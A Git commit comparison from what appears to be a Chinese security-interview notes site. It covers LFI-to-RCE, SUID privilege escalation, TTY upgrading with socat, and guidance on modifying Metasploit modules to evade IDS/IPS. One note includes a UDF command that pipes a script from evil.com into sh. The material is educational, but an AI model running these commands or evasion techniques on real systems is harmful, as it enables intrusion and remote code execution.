Compare commits
10
Commits
feature/suc2es2
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9cc4502105 | ||
|
|
85abd8cd1b | ||
|
|
4e0efa0f29 | ||
|
|
9def8c24bf | ||
|
|
5b1285b581 | ||
|
|
3bcf387f43 | ||
|
|
808cbcd44f | ||
|
|
3c86343857 | ||
|
|
8e3a13c2af | ||
|
|
1fa394a1e8 |
@@ -1,9 +0,0 @@
|
|||||||
import { defineConfig } from 'vitepress';
|
|
||||||
import sidebar from './sidebar.mjs';
|
|
||||||
|
|
||||||
export default defineConfig({
|
|
||||||
title: 'Sec-Interview',
|
|
||||||
description: '安全面试笔记',
|
|
||||||
base: '/Sec-Interview/',
|
|
||||||
themeConfig: { sidebar }
|
|
||||||
});
|
|
||||||
@@ -1,62 +0,0 @@
|
|||||||
import fs from 'node:fs'
|
|
||||||
import path from 'node:path'
|
|
||||||
|
|
||||||
const summary = fs.readFileSync('SUMMARY.md','utf8')
|
|
||||||
const ROOT = '.'
|
|
||||||
fs.mkdirSync(path.join(ROOT,'.vitepress'),{recursive:true})
|
|
||||||
|
|
||||||
function touch(mdPath){
|
|
||||||
fs.mkdirSync(path.dirname(mdPath),{recursive:true})
|
|
||||||
if (!fs.existsSync(mdPath)) fs.writeFileSync(mdPath,'# \n\n内容待补充。\n')
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ===== 生成可折叠 sidebar ===== */
|
|
||||||
const sidebar = []
|
|
||||||
let stack = [{ children: sidebar, level: -1 }] // 栈顶父节点
|
|
||||||
const r = /^(\s*)-\s+\[([^\]]+)\]\(([^)]+)\)/gm
|
|
||||||
let m
|
|
||||||
|
|
||||||
while ((m = r.exec(summary)) !== null) {
|
|
||||||
const [, sp, text, file] = m
|
|
||||||
const level = sp.length / 2
|
|
||||||
const url = '/' + file.replace(/\.md$/,'')
|
|
||||||
|
|
||||||
// 找到父节点
|
|
||||||
while (level <= stack.at(-1).level) stack.pop()
|
|
||||||
const parent = stack.at(-1)
|
|
||||||
|
|
||||||
// 一级目录 → 折叠对象;子项直接 push
|
|
||||||
const node =
|
|
||||||
level === 0
|
|
||||||
? { text, items: [{ text, link: url }], collapsed: true } // 默认折叠
|
|
||||||
: { text, link: url }
|
|
||||||
|
|
||||||
parent.children.push(node)
|
|
||||||
|
|
||||||
// 预留子级挂载点
|
|
||||||
if (level === 0) {
|
|
||||||
node.items = node.items || []
|
|
||||||
stack.push({ children: node.items, level })
|
|
||||||
} else {
|
|
||||||
stack.push({ children: parent.children, level })
|
|
||||||
}
|
|
||||||
|
|
||||||
touch(path.join(ROOT, file))
|
|
||||||
}
|
|
||||||
/* ================================= */
|
|
||||||
|
|
||||||
// frontmatter 处理同上
|
|
||||||
function walk(dir){
|
|
||||||
for (const f of fs.readdirSync(dir)){
|
|
||||||
const full = path.join(dir,f)
|
|
||||||
if (fs.statSync(full).isDirectory()){ walk(full); continue }
|
|
||||||
if (!f.endsWith('.md')) continue
|
|
||||||
const cnt = fs.readFileSync(full,'utf8')
|
|
||||||
if (!cnt.trimStart().startsWith('---'))
|
|
||||||
fs.writeFileSync(full, `---\n---\n${cnt}`)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
walk(ROOT)
|
|
||||||
|
|
||||||
fs.writeFileSync(path.join(ROOT,'.vitepress','sidebar.mjs'),
|
|
||||||
`export default ${JSON.stringify(sidebar,null,2)}`)
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
name: Build & Deploy VitePress
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches: [main]
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
contents: read
|
|
||||||
pages: write
|
|
||||||
id-token: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
build:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- uses: actions/setup-node@v4
|
|
||||||
with:
|
|
||||||
node-version: 20
|
|
||||||
|
|
||||||
- run: echo '{"type":"module","devDependencies":{"vitepress":"^1.0.0"}}' > package.json
|
|
||||||
- run: npm i
|
|
||||||
|
|
||||||
- run: touch .nojekyll
|
|
||||||
|
|
||||||
- run: node .github/scripts/prepare.mjs # 生成 sidebar.mjs
|
|
||||||
|
|
||||||
# 关键替换:直接复制模板,避开 heredoc
|
|
||||||
- run: |
|
|
||||||
mkdir -p .vitepress
|
|
||||||
cp .github/config.template.ts .vitepress/config.ts
|
|
||||||
- run: npx vitepress build .
|
|
||||||
|
|
||||||
- uses: actions/upload-pages-artifact@v3
|
|
||||||
with:
|
|
||||||
path: .vitepress/dist
|
|
||||||
|
|
||||||
deploy:
|
|
||||||
needs: build
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment:
|
|
||||||
name: github-pages
|
|
||||||
url: ${{ steps.d.outputs.page_url }}
|
|
||||||
steps:
|
|
||||||
- uses: actions/deploy-pages@v4
|
|
||||||
id: d
|
|
||||||
+3
-7
@@ -7,30 +7,26 @@ Web 配置文件通常包含连接数据库、调用第三方服务(API Key)
|
|||||||
ASP.NET 网站的核心配置文件集中在应用的根目录,文件名固定,便于查找
|
ASP.NET 网站的核心配置文件集中在应用的根目录,文件名固定,便于查找
|
||||||
|
|
||||||
| 目标文件 | 常见路径 | 敏感信息 |
|
| 目标文件 | 常见路径 | 敏感信息 |
|
||||||
| ---------------- | -------------- | ------------------------------------------------------------ |
|
| ---------------- | --------- | ------------------------------------------------------------------------ |
|
||||||
| **`Web.config`** | Web 应用根目录 | **数据库连接字符串**(SQL Server/MySQL 等)、**加密密钥**(MachineKey)、**会话状态配置**、自定义应用设置 |
|
| **`Web.config`** | Web 应用根目录 | **数据库连接字符串**(SQL Server/MySQL 等)、**加密密钥**(MachineKey)、**会话状态配置**、自定义应用设置 |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**2. PHP 网站 (LAMP/LEMP)**
|
**2. PHP 网站 (LAMP/LEMP)**
|
||||||
|
|
||||||
PHP 网站的配置文件命名较为灵活,通常位于应用的根目录或专门的配置目录中。渗透测试时,需要重点关注包含 `db` 或 `conn` 字样的文件
|
PHP 网站的配置文件命名较为灵活,通常位于应用的根目录或专门的配置目录中。渗透测试时,需要重点关注包含 `db` 或 `conn` 字样的文件
|
||||||
|
|
||||||
| 目标文件 | 常见路径 | 敏感信息 |
|
| 目标文件 | 常见路径 | 敏感信息 |
|
||||||
| ------------------ | ----------------------- | ------------------------------------------------------------ |
|
| ------------------ | ----------------- | --------------------------------------------- |
|
||||||
| **`config.php`** | 根目录或 `/config` 目录 | 数据库连接参数、API Key、配置常量、**Redis/Memcached 连接信息** |
|
| **`config.php`** | 根目录或 `/config` 目录 | 数据库连接参数、API Key、配置常量、**Redis/Memcached 连接信息** |
|
||||||
| **`db.php`** | 根目录或 `/config` 目录 | **数据库主机、端口、用户名、密码** |
|
| **`db.php`** | 根目录或 `/config` 目录 | **数据库主机、端口、用户名、密码** |
|
||||||
| **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 |
|
| **`conn.php`** | 根目录或 `/config` 目录 | 数据库连接函数或代码 |
|
||||||
| **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 |
|
| **`database.php`** | 根目录或 `/config` 目录 | 数据库连接配置 |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**3. Java/JSP 网站 (Tomcat/Spring)**
|
**3. Java/JSP 网站 (Tomcat/Spring)**
|
||||||
|
|
||||||
Java 应用的配置文件散布在 `WEB-INF/classes` 目录中,它们通常是**属性文件(Properties)** 或 **YAML/XML 格式**。此外,应用服务器本身的配置文件也是重要的目标
|
Java 应用的配置文件散布在 `WEB-INF/classes` 目录中,它们通常是**属性文件(Properties)** 或 **YAML/XML 格式**。此外,应用服务器本身的配置文件也是重要的目标
|
||||||
|
|
||||||
| 目标文件 | 常见路径 | 敏感信息 |
|
| 目标文件 | 常见路径 | 敏感信息 |
|
||||||
| ---------------------- | ----------------------------------------- | ------------------------------------------------------------ |
|
| ---------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------- |
|
||||||
| **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等,包含**数据库连接、第三方服务配置** |
|
| **`.properties` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.properties`, `jdbc.properties`, `database.properties`, `db.properties` 等,包含**数据库连接、第三方服务配置** |
|
||||||
| **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml` 或 `application.yml`,**Spring Boot/Cloud** 应用的核心配置文件,包含所有敏感配置 |
|
| **`.yaml` 文件** | `webapps/[应用名称]/WEB-INF/classes` 目录 | `application.yaml` 或 `application.yml`,**Spring Boot/Cloud** 应用的核心配置文件,包含所有敏感配置 |
|
||||||
| **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符,可能包含**Servlet/Filter 的初始化参数**(如密码) |
|
| **`web.xml`** | `webapps/[应用名称]/WEB-INF` 目录 | 部署描述符,可能包含**Servlet/Filter 的初始化参数**(如密码) |
|
||||||
|
|||||||
+13
-14
@@ -1,24 +1,23 @@
|
|||||||
### 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比,在隐蔽性和灵活性上的优势和劣势
|
### 如果目标站点开启了 WAF 或对高频扫描进行了封禁,你会怎么获取敏感路径
|
||||||
|
|
||||||
**隐蔽性**
|
**高级搜索引擎语法**:
|
||||||
|
|
||||||
在隐蔽性方面,**MSF 模块**通常比原生扫描器更具优势,因为它工作在**应用层(L7)**
|
- 使用Google或Bing的高级语法搜索目标域名下的遗留路径
|
||||||
|
- 例如:`site:target.com intitle:"index of"`(查看目录列表)
|
||||||
|
|
||||||
- **MSF 的优势:** MSF 的辅助模块模仿的是**真实的客户端与服务器的协议交互**,例如发送一个标准的 HTTP GET 请求来获取版本信息,或者尝试一个正常的 SMB 登录。这种流量看起来更像**正常的业务通信**,能够更好地**规避 IDS/IPS 对原始网络包(Raw Packets)的检测**。此外,MSF 模块通常是针对**特定目标或任务**进行单次、精准的验证,不容易被发现
|
**网络空间搜索引擎**:
|
||||||
- **原生扫描器的劣势:** **Nmap** 和 **FScan** 主要依赖于发送 **L3/L4 层的原始数据包**(如 SYN/ACK、ICMP)。尽管 Nmap 支持多种隐蔽扫描技术(如 FIN、Xmas),但这种**裸包扫描的特征**非常明显,很容易被专业的流量分析工具和 IDS/IPS 标记为**恶意扫描行为**。它们默认往往进行**大范围、多端口的全面扫描**,容易被发现
|
|
||||||
|
|
||||||
****
|
- 利用 Fofa、Shodan、ZoomEye 等平台。它们会定期扫描全网并存储历史数据。通过这些平台,我们有时能直接看到目标服务器上曾经开放的端口、目录结构,甚至是一些已经被删除但依然存在于缓存中的敏感文件
|
||||||
|
|
||||||
**灵活性**
|
**JS 爬取**:
|
||||||
|
|
||||||
在灵活性方面,MSF 的优势体现在**流程整合**和**快速定制**上,而 Nmap/FScan 则体现在**扫描深度**上
|
- 手动或使用工具(如`Web-Recon`)深度爬取目标网站的 JavaScript 文件
|
||||||
|
- 现代前端框架(如React、Vue)会将 API 接口、后台路径、隐藏参数硬编码在 JS 文件中
|
||||||
|
|
||||||
**流程整合与定制(MSF 优势)**
|
**GitHub 搜索**:
|
||||||
|
|
||||||
- **MSF 的巨大优势:** MSF 提供了**一站式的渗透测试流程**。扫描模块的输出(如发现的服务版本或弱口令)可以**直接无缝地作为利用模块(Exploit)的输入**,实现了**信息收集、漏洞利用到后渗透的自动化衔接**。这种**功能整合性**是 Nmap/FScan 无法比拟的,后者需要手动导入数据
|
- 搜索目标公司员工的代码提交记录。有时候员工会将包含敏感路径的配置文件错误地提交到公开仓库
|
||||||
- **MSF 的定制优势:** MSF 模块基于 **Ruby** 脚本语言编写,结构清晰。这使得渗透测试工程师可以**快速、轻松地修改**现有模块的协议交互逻辑、添加自定义的指纹识别,或者整合自己的混淆技术,**定制和迭代效率极高**
|
|
||||||
|
|
||||||
**扫描深度与覆盖(Nmap/FScan 优势)**
|
**分析历史DNS记录**:
|
||||||
|
|
||||||
- **原生扫描器的巨大优势:** **Nmap** 是业界公认的**端口扫描之王**,在**网络发现**和**全面资产识别**方面具有不可撼动的地位。它支持所有 TCP/UDP 协议的底层裸包扫描,能够穿透各种网络环境,实现**最全面的端口服务覆盖**
|
- 通过SecurityTrails等平台查询历史DNS解析记录。很多时候,开发者会使用`dev.target.com`、`test.target.com`或`jenkins.target.com`作为内部测试子域名
|
||||||
- **MSF 的劣势:** MSF 模块多是针对**特定应用或漏洞**的验证性脚本,其设计的目的在于“验证是否存在”,而非“发现所有资产”。因此,它在发现**未知或非标准服务**的**深度和广度**上,远不如 Nmap
|
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
### 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测
|
|
||||||
|
|
||||||
**一、理解检测原理与目标**
|
|
||||||
|
|
||||||
在动手修改代码之前,**深入理解 IDS/IPS 和流量分析的工作原理**至关重要
|
|
||||||
|
|
||||||
- **IDS/IPS 的检测机制:**
|
|
||||||
- **签名匹配 (Signature-based):** 默认 MSF 模块中的特定字节序列、Header 值(如 User-Agent)或请求结构是已知的签名
|
|
||||||
- **异常检测 (Anomaly-based):** 寻找与正常流量模式(如不常见的端口、非标准协议行为、高并发连接速率)的偏差
|
|
||||||
- **协议解析 (Protocol Parsing):** 检查请求是否符合协议规范
|
|
||||||
- **流量分析的关键点:**
|
|
||||||
- **时间特征:** 快速、连续的扫描行为(高连接速率)
|
|
||||||
- **指纹信息:** 默认的 HTTP Header (如 `User-Agent: Metasploit`), TCP/IP 栈指纹
|
|
||||||
- **载荷特征:** 默认载荷的字节序列、编码方式
|
|
||||||
|
|
||||||
****
|
|
||||||
|
|
||||||
**二、模块定制与魔改的四大策略**
|
|
||||||
|
|
||||||
我主要从 **网络层、应用层、行为模式** 和 **载荷** 四个维度进行魔改
|
|
||||||
|
|
||||||
**1. 流量特征模糊化(应用层/网络层)**
|
|
||||||
|
|
||||||
这部分旨在改变数据包的**静态指纹**,使其看起来更像正常、随机的客户端流量
|
|
||||||
|
|
||||||
| 定制目标 | 具体魔改方法 | 绕过机制 |
|
|
||||||
| -------------------- | ------------------------------------------------------------ | -------------------------------------- |
|
|
||||||
| **User-Agent** | 随机化 **`User-Agent`** 列表,使用主流浏览器和操作系统的真实组合。**避免**使用 MSF 或其他工具的默认值。 | 绕过基于特定 UA 签名的检测 |
|
|
||||||
| **HTTP Header** | 增加、修改或随机化其他 Header,如 `Accept-Language`, `Referer`, `Cache-Control`。**特别是**修改 **`Accept-Encoding`**,以影响响应和请求的压缩 | 模拟真实浏览器行为,使流量分析更困难 |
|
|
||||||
| **TLS/SSL 指纹** | 在使用 HTTPS 扫描时,修改 **JA3/JA4 指纹**。这通常涉及修改底层的 Ruby 库或使用特定的 Sockets 库,以随机化 **Client Hello** 消息中的加密套件、扩展顺序等 | 绕过基于 TLS 握手特征的检测 |
|
|
||||||
| **IP 分片/TCP 乱序** | 引入 IP 分片或 TCP 分段乱序的逻辑(需更底层库支持),但需注意过度使用可能导致目标拒绝连接 | 绕过签名匹配(签名可能无法跨分片识别) |
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**2. 行为模式降速与随机化**
|
|
||||||
|
|
||||||
这是绕过基于**行为分析**和**速率限制**的关键
|
|
||||||
|
|
||||||
- **延迟与抖动 (Delay & Jitter):**
|
|
||||||
- **增加扫描间隔 (`Sleep`):** 在每次连接请求之间引入随机的延迟,如 2∼5 秒,避免高并发
|
|
||||||
- **引入随机抖动:** 使用非线性的、随机的延迟时间,使扫描速率难以被算法模型预测
|
|
||||||
- **IP 地址轮换 (Proxy Chaining):**
|
|
||||||
- 集成 **Socks 代理链 (如 Tor)** 或购买**高匿名的住宅 IP 池**。在 MSF 模块中,可以通过设置 `Proxies` 选项,或直接修改模块代码以从 IP 池中随机选择出口 IP
|
|
||||||
- **连接失败处理:**
|
|
||||||
- 设置更人性化的重试机制,而不是立即放弃或高速重试,模拟网络不稳定的真实用户行为
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**3. 代码逻辑混淆与指纹去除**
|
|
||||||
|
|
||||||
直接修改模块的 Ruby 代码,消除内部的**软件指纹**
|
|
||||||
|
|
||||||
- **移除/修改内部标识符:** 许多 MSF 模块会在请求中加入一些微小的、不影响功能的标识符。比如,在 POST 请求体中加入**不影响解析的空格或随机参数**
|
|
||||||
- **重写核心请求函数:** 避免使用 MSF 默认的 `send_request_cgi` 等包装函数,而是使用更底层的 `Rex::Socket` 或其他 Ruby HTTP 库,**完全重构**请求的构造过程,消除函数调用栈和代码结构上的指纹
|
|
||||||
- **自定义协议处理:** 如果是针对非 HTTP 协议的扫描,重写协议解析和构造逻辑,确保只发送扫描所需的最小数据,并使用非标准的字段顺序
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**4. 载荷定制与动态编码**
|
|
||||||
|
|
||||||
对于渗透模块(如 Exploit),载荷的定制是核心
|
|
||||||
|
|
||||||
- **动态编码:** 不使用 MSF 默认的编码器(如 `shikata_ga_nai`,它们有已知特征),而是使用**自定义或多重异或/加法编码**,并结合**自定义解码存根**
|
|
||||||
- **无文件载荷:** 尽可能使用反射型 DLL 注入或其他内存载荷,避免将恶意文件写入磁盘,绕过基于文件哈希和行为的终端检测
|
|
||||||
- **载荷分块传输:** 将载荷分割成多个小块,通过不同的请求或连接分阶段传输,最后在目标内存中重组,绕过基于载荷完整性的深度包检测 (DPI)
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
### 任意文件读取漏洞 `..%01` 绕过原理
|
||||||
|
|
||||||
|
C 语言中,字符串以 `\0`(null 字节)作为结束标志,一旦遇到该字符,后续内容将被忽略
|
||||||
|
|
||||||
|
当用户提交 `%00` 时,Web 服务器(或应用层)会对其进行 URL 解码,还原成二进制 `0x00`。如果应用程序没有过滤或转义这个空字节,并将其直接传递给底层文件操作函数,那么函数会认为字符串在空字节处结束,从而丢弃后面的字符
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
+4
-4
@@ -6,8 +6,8 @@
|
|||||||
|
|
||||||
**渗透思路:**
|
**渗透思路:**
|
||||||
|
|
||||||
- 利用SQL注入读取网站的配置文件,获取文件上传路径
|
- 利用 SQL 注入读取网站的配置文件,获取文件上传路径
|
||||||
- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`)
|
- 利用 SQL 注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`)
|
||||||
- 结合文件上传漏洞,上传精心构造的 `webshell`
|
- 结合文件上传漏洞,上传精心构造的 `webshell`
|
||||||
|
|
||||||
**2. 利用数据库的写权限进行命令执行**
|
**2. 利用数据库的写权限进行命令执行**
|
||||||
@@ -35,8 +35,8 @@
|
|||||||
|
|
||||||
**渗透思路:**
|
**渗透思路:**
|
||||||
|
|
||||||
- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限
|
- **SQL 注入提权**: 利用 SQL 注入获取数据库 `root` 权限
|
||||||
- **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录
|
- **上传 UDF 文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录
|
||||||
- **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令
|
- **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令
|
||||||
- **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
|
- **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
|
||||||
- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器
|
- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
### LFI 怎么打 RCE
|
||||||
|
|
||||||
|
**1. 日志文件注入**
|
||||||
|
|
||||||
|
Web 服务器通常记录访问日志(如 Apache 的 `access.log`、`error.log`),攻击者可在 User-Agent、Referer 等头中插入PHP 代码,然后通过 LFI 包含日志文件,使代码被执行
|
||||||
|
|
||||||
|
**2. 包含 `/proc/self/environ`**
|
||||||
|
|
||||||
|
该文件包含当前进程的环境变量,User-Agent、Referer 等请求头会作为环境变量值写入。可通过 User-Agent 注入代码,然后包含该文件
|
||||||
|
|
||||||
|
**3. PHP 伪协议**
|
||||||
|
|
||||||
|
a) `php://filter` 配合文件上传
|
||||||
|
|
||||||
|
通过 `php://filter/convert.base64-encode/resource=` 可读取源码,但若想写入 Webshell,常结合文件上传功能:先上传一个含有 PHP 代码的图片马,然后用 `php://filter` 读取并解码写入新文件
|
||||||
|
|
||||||
|
b) `php://input`
|
||||||
|
|
||||||
|
当 `allow_url_include=On` 时,可通过 `php://input` 执行 POST 数据中的代码
|
||||||
|
|
||||||
|
c) `data://` 协议
|
||||||
|
|
||||||
|
同样需要 `allow_url_include=On`,可直接在 URL 中嵌入代码
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
|
||||||
|
|
||||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
|
||||||
|
|
||||||
HR:请问…………
|
|
||||||
|
|
||||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
|
||||||
|
|
||||||
(Summary.md 是目录噢!!)
|
|
||||||
|
|
||||||
**🙏 特别感谢名单**
|
|
||||||
|
|
||||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
|
||||||
|
|
||||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
|
||||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
|
||||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
|
||||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
|
||||||
|
|
||||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
### 如果发现某个二进制文件设置了 SUID,你该如何快速判断它是否可以被用来提权
|
||||||
|
|
||||||
|
**1. 确认基本条件**
|
||||||
|
|
||||||
|
- 所有者是否为 root:使用 `ls -l` 查看文件所有者。只有 root 所有的 SUID 文件才有提权价值
|
||||||
|
- 当前用户是否可执行:检查文件权限中是否有 `x`(执行权),若无则无法利用
|
||||||
|
|
||||||
|
**2. 检查是否属于 GTFOBins 列表**
|
||||||
|
|
||||||
|
GTFOBins 是一个专门收录可被用于绕过安全限制的 Unix 二进制文件的社区项目
|
||||||
|
|
||||||
|
```bash
|
||||||
|
https://gtfobins.github.io/gtfobins/
|
||||||
|
```
|
||||||
|
|
||||||
|
**3. 检查调用**
|
||||||
|
|
||||||
|
结合 strings 快速查看可疑调用
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
### 除了 Python,请再给出一种在环境中没有安装 Python 时升级 TTY 的方法
|
||||||
|
|
||||||
|
**方法一:使用 Script 命令**
|
||||||
|
|
||||||
|
大多数 Linux 发行版默认安装了 `script` 工具,可用于记录终端会话,同时生成一个完整的 TTY
|
||||||
|
|
||||||
|
```bash
|
||||||
|
script /dev/null -c bash
|
||||||
|
# 或
|
||||||
|
script -q /dev/null
|
||||||
|
```
|
||||||
|
|
||||||
|
- 原理:`script` 会创建一个新的伪终端(pty),并将当前 Shell 附加到该终端上
|
||||||
|
|
||||||
|
**方法二:使用 Socat**
|
||||||
|
|
||||||
|
如果目标有 `socat`,可以创建完整的双向交互式 Shell
|
||||||
|
|
||||||
|
在攻击机监听
|
||||||
|
|
||||||
|
```bash
|
||||||
|
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||||
|
```
|
||||||
|
|
||||||
|
在目标机连接
|
||||||
|
|
||||||
|
```bash
|
||||||
|
